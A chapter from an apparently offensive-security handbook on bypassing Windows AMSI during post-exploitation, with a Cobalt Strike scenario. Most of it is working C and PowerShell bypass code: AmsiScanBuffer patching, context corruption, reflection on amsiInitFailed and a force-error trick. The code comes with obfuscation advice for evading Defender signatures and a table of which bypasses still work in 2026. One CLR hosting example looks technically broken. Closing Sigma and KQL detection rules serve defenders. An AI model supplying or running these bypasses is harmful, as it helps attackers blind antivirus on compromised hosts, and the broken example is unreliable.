Chapter 162

AMSI Bypass Techniques

AMSI (Antimalware Scan Interface) is the Windows mechanism that lets AV products scan in-memory content before execution — PowerShell scripts, .NET assemblies, VBA macros, JScript, and anything else that calls AmsiScanBuffer. Bypassing AMSI is a prerequisite for running offensive tooling through any scripting host or executing-assembly style post-exploitation. This chapter covers every relevant bypass class: memory patching, context corruption, reflection, forced-error, and CLM avoidance — with working code and the current (2026) detection status for each.

Scenario

You've executed a Cobalt Strike beacon. You want to run SharpHound via execute-assembly to enumerate AD. Defender flags it the moment the CLR loads the assembly because AMSI scans the assembly bytes before execution. You need to patch AMSI in the beacon's sacrificial process before calling execute-assembly, without the patch itself being caught by Defender's signature for common AMSI patches.

AMSI Architecture

AMSI data flow: PowerShell / CLR / VBA host │ │ calls AmsiScanBuffer(amsiContext, buffer, length, ...) ▼ amsi.dll (loaded into EVERY scripting host process) AmsiScanBuffer() │ passes content to registered AV providers via COM ▼ AV provider (MsMpEng via amsi64.dll) │ AMSI_RESULT_CLEAN / DETECTED ▼ Host: allow or block execution Key facts: - amsi.dll is loaded INTO the host process (powershell.exe, etc.) - AmsiScanBuffer lives in the process's own address space - Therefore: patching AmsiScanBuffer in-process is possible without any cross-process tricks - Defender can detect: patch-based AMSI bypasses are well-signatured - The patch itself must be obfuscated to avoid triggering AMSI on the bypass string before the bypass runs (bootstrapping problem)

AmsiScanBuffer Patch (Classic)

// Classic patch: overwrite the first 6 bytes of AmsiScanBuffer with
// "xor eax, eax; ret" (return AMSI_RESULT_CLEAN = 0 immediately)
// This is the most well-known bypass and is signatured by every AV.

#include <windows.h>

BOOL AmsiPatch(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return FALSE;

    PVOID pScan = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pScan) return FALSE;

    // Patch bytes: xor eax,eax (31 C0) + ret (C3) + padding (90 90 90)
    BYTE patch[] = { 0x31, 0xC0, 0xC3, 0x90, 0x90, 0x90 };

    DWORD oldProtect;
    VirtualProtect(pScan, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pScan, patch, sizeof(patch));
    VirtualProtect(pScan, sizeof(patch), oldProtect, &oldProtect);
    return TRUE;
}
// STATUS (2026): Detected immediately. The string "AmsiScanBuffer" + the
// VirtualProtect + memcpy pattern is signatured. The patch bytes themselves
// trigger AMSI scan on the PowerShell script containing them.
// Bypass: base64-encode the function name; use obfuscated strings.

// Obfuscated version — resolve without "AmsiScanBuffer" in cleartext:
// PowerShell equivalent (all obfuscated via string concat / -join / char[]):
// $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
// $b = $a.GetField('amsiInitFailed','NonPublic,Static')
// $b.SetValue($null,$true)

AmsiInitialize Context Corruption (amsiContext)

// AmsiScanBuffer checks that amsiContext is valid before scanning.
// If amsiContext header is corrupted (first DWORD ≠ "AMSI"), it returns
// AMSI_RESULT_CLEAN without scanning.
// Less-signatured than patching AmsiScanBuffer itself.

#include <windows.h>

BOOL CorruptAmsiContext(void) {
    HMODULE hAmsi = GetModuleHandleA("amsi.dll");
    if (!hAmsi) return FALSE;

    // amsiContext is a pointer stored in amsi.dll's data section.
    // The AmsiOpenSession context contains a header "AMSI" (0x49534D41).
    // Walk exported symbols to find AmsiOpenSession and extract context offset.
    // Simplified: find the amsiContext pointer by scanning for the "AMSI" magic.
    PBYTE base = (PBYTE)hAmsi;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);

    // Scan .data section for the AMSI context magic
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".data", 5) != 0) continue;
        PBYTE ptr = base + sec->VirtualAddress;
        PBYTE end = ptr + sec->Misc.VirtualSize - 4;
        while (ptr < end) {
            if (*(DWORD*)ptr == 0x49534D41) {  // "AMSI"
                DWORD old;
                VirtualProtect(ptr, 4, PAGE_EXECUTE_READWRITE, &old);
                *(DWORD*)ptr = 0x00000000;  // corrupt magic → validation fails
                VirtualProtect(ptr, 4, old, &old);
                return TRUE;
            }
            ptr++;
        }
    }
    return FALSE;
}

Reflection-Based PowerShell Bypass

# PowerShell: use .NET reflection to set amsiInitFailed = true
# amsiInitFailed forces AmsiOpenSession to return failure, so AMSI never
# provides a valid context for subsequent scans.
# This is the most commonly used PS bypass; also the most signatured.

# Obfuscated via string splitting to break the static signature:
$x = [System.Text.Encoding]::Unicode.GetString(
    [Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA=='))
# decodes to: "System.Management.Automation.AmsiUtils"

$t = [Ref].Assembly.GetType($x)
$f = $t.GetField(('amsi'+'Init'+'Failed'), 'NonPublic,Static')
$f.SetValue($null, $true)

# Why this still gets caught:
# - AMSI scans the script BEFORE it runs — "AmsiUtils" in encoded form is
#   still decoded and scanned
# - Defender's AMSI provider signatures scan the base64 string too
# - Modern bypass: use char-array reassembly so no base64 blob is present:
# $s = [char[]](83,121,115,...) -join ''   # builds string from char codes
# $t = [Ref].Assembly.GetType($s)

Constrained Language Mode Bypass via Custom Runspace

// Execute PowerShell in a new Runspace that CLM does not apply to.
// CLM is set per-runspace based on AppLocker/WDAC policy.
// Creating a Runspace from an unmanaged host application bypasses CLM
// because the host executable itself is not subject to the PowerShell
// engine's mode enforcement if it's not in the policy scope.

#include <windows.h>
#include <mscoree.h>

// Use CLR hosting to create a PowerShell runspace without CLM:
// 1. CorBindToRuntimeEx → load .NET CLR into process
// 2. ICorRuntimeHost::CreateDomain → create isolated AppDomain
// 3. Instantiate System.Management.Automation.Runspaces.RunspaceFactory
// 4. RunspaceFactory.CreateRunspace() — no AppLocker policy applied to this host
// 5. Runspace.Open() → PowerShell.AddScript() → Invoke()

// Full implementation uses COM interfaces to ICorRuntimeHost.
// Simplified pseudocode — see ch113 for full CLR hosting pattern.

void RunPowerShellInRunspace(const wchar_t* script) {
    ICLRRuntimeHost* pHost = nullptr;
    CorBindToRuntimeEx(nullptr, nullptr,
                       STARTUP_CONCURRENT_GC,
                       CLSID_CLRRuntimeHost,
                       IID_ICLRRuntimeHost,
                       (PVOID*)&pHost);
    pHost->Start();
    DWORD result;
    pHost->ExecuteInDefaultAppDomain(
        L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll",
        L"System.Management.Automation.Runspaces.RunspaceFactory",
        L"CreateRunspace",
        script, &result);
    // In practice: use AppDomain and host the PS engine directly
}

Force-Error Bypass

// AmsiScanBuffer returns HRESULT. If amsiContext is invalid (NULL or bad header),
// it returns E_INVALIDARG and the host treats it as "not scanned" (allow by default).
// Instead of patching code, corrupt the amsiContext pointer in memory.

// In PowerShell, the amsiContext is accessible via the AmsiUtils._amsiSession field.
// Set it to IntPtr.Zero — AmsiScanBuffer returns error, PS treats as clean.

# PowerShell (char-array technique — no string literals to scan):
$a = $([char]65+[char]109+[char]115+[char]105+[char]85+[char]116+[char]105+[char]108+[char]115)
# builds "AmsiUtils"
$t = [Ref].Assembly.GetType("System.Management.Automation.$a")
$ctx = $t.GetField('_amsiContext', 'NonPublic,Instance')
$host = $t.GetField('_amsiSession', 'NonPublic,Instance')
# walk to the running runspace and null out its context
foreach ($r in [System.Management.Automation.Runspaces.Runspace]::DefaultRunspace) {
    $ctx.SetValue($r, [IntPtr]::Zero)
}

Bypass Comparison Table

TechniqueTargetNeeds Admin?Detection (2026)Still viable?
AmsiScanBuffer patch (classic)amsi.dll codeNoImmediate — signaturedOnly with heavy obfuscation
amsiContext corruption (.data)amsi.dll dataNoMedium — less signaturedYes, carefully
Reflection amsiInitFailedCLR fieldNoHigh — AMSI scans the scriptOnly with char-array obfuscation
Force-error via _amsiContext nullRunspace contextNoMediumYes
Custom CLR runspace (unmanaged host)Policy enforcementNoBehavioral (unusual CLR host)Yes, in native loader
Hardware breakpoint on AmsiScanBufferExecution flowNoLow — kernel-level detection onlyYes (2026)

Detection Engineering

title: AMSI DLL Memory Modification (Classic Patch)
logsource:
  product: windows
  category: process_access   # Sysmon Event 10 with memory write detection
detection:
  selection:
    EventID: 10
    TargetImage|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cscript.exe'
      - '\wscript.exe'
    CallTrace|contains: 'UNKNOWN'
  condition: selection
level: high
tags: [attack.defense_evasion, T1562.001]

title: PowerShell Reflection on AmsiUtils
logsource:
  product: windows
  category: ps_script_block
detection:
  selection:
    ScriptBlockText|contains:
      - 'AmsiUtils'
      - 'amsiInitFailed'
      - 'amsi.dll'
      - 'AmsiScanBuffer'
  condition: selection
level: critical

-- MDE KQL: VirtualProtect on amsi.dll followed by memory write
DeviceEvents
| where ActionType == "VirtualProtectApiCall"
| where MemoryProtection has "Execute"
| join kind=inner (
    DeviceImageLoadEvents
    | where FileName =~ "amsi.dll"
    | project DeviceName, InitiatingProcessId, LoadTime = Timestamp
) on DeviceName, $left.InitiatingProcessId == $right.InitiatingProcessId
| where Timestamp between ((LoadTime - 30s) .. (LoadTime + 120s))
| project Timestamp, DeviceName, InitiatingProcessFileName,
          MemoryProtection, MemoryAddress

Q&A

What is the hardware breakpoint AMSI bypass and why is it harder to detect than memory patching?

The hardware breakpoint bypass sets a debug register (DR0–DR3) on AmsiScanBuffer's address with a breakpoint condition, then installs a vectored exception handler (VEH) that intercepts the resulting STATUS_SINGLE_STEP exception before execution reaches the AMSI function body. The VEH modifies the thread context to set RAX = AMSI_RESULT_CLEAN (0) and return directly to the caller — AmsiScanBuffer never executes a single instruction, but from the caller's perspective it returned a clean result normally.

The reason this is harder to detect than memory patching is that it makes no modification to any code or data page. The bytes of amsi.dll on disk and in memory remain unchanged. A memory integrity checker that hashes the amsi.dll mapping will see no modification. The only observable state change is in the debug registers (DR0–DR3) and the presence of an unusual vectored exception handler in the process. Most EDR products monitor for WriteProcessMemory and page permission changes (the two primitives of classic patching) but do not routinely instrument VEH registration or debug register manipulation.

The defensive detection angle: SetUnhandledExceptionFilter and AddVectoredExceptionHandler are logged by some EDRs as suspicious when called from a process that then runs PowerShell content. More specifically, debug register manipulation (SetThreadContext with CONTEXT_DEBUG_REGISTERS) on the current thread is unusual for any non-debugger process and can be detected by kernel callbacks on SetThreadContext. The tell: DR0 is set to the address of AmsiScanBuffer, and DR7 has the breakpoint enable bits set for that register. Defenders hunting this can check for processes where DR registers are non-zero outside of a debugger attach event.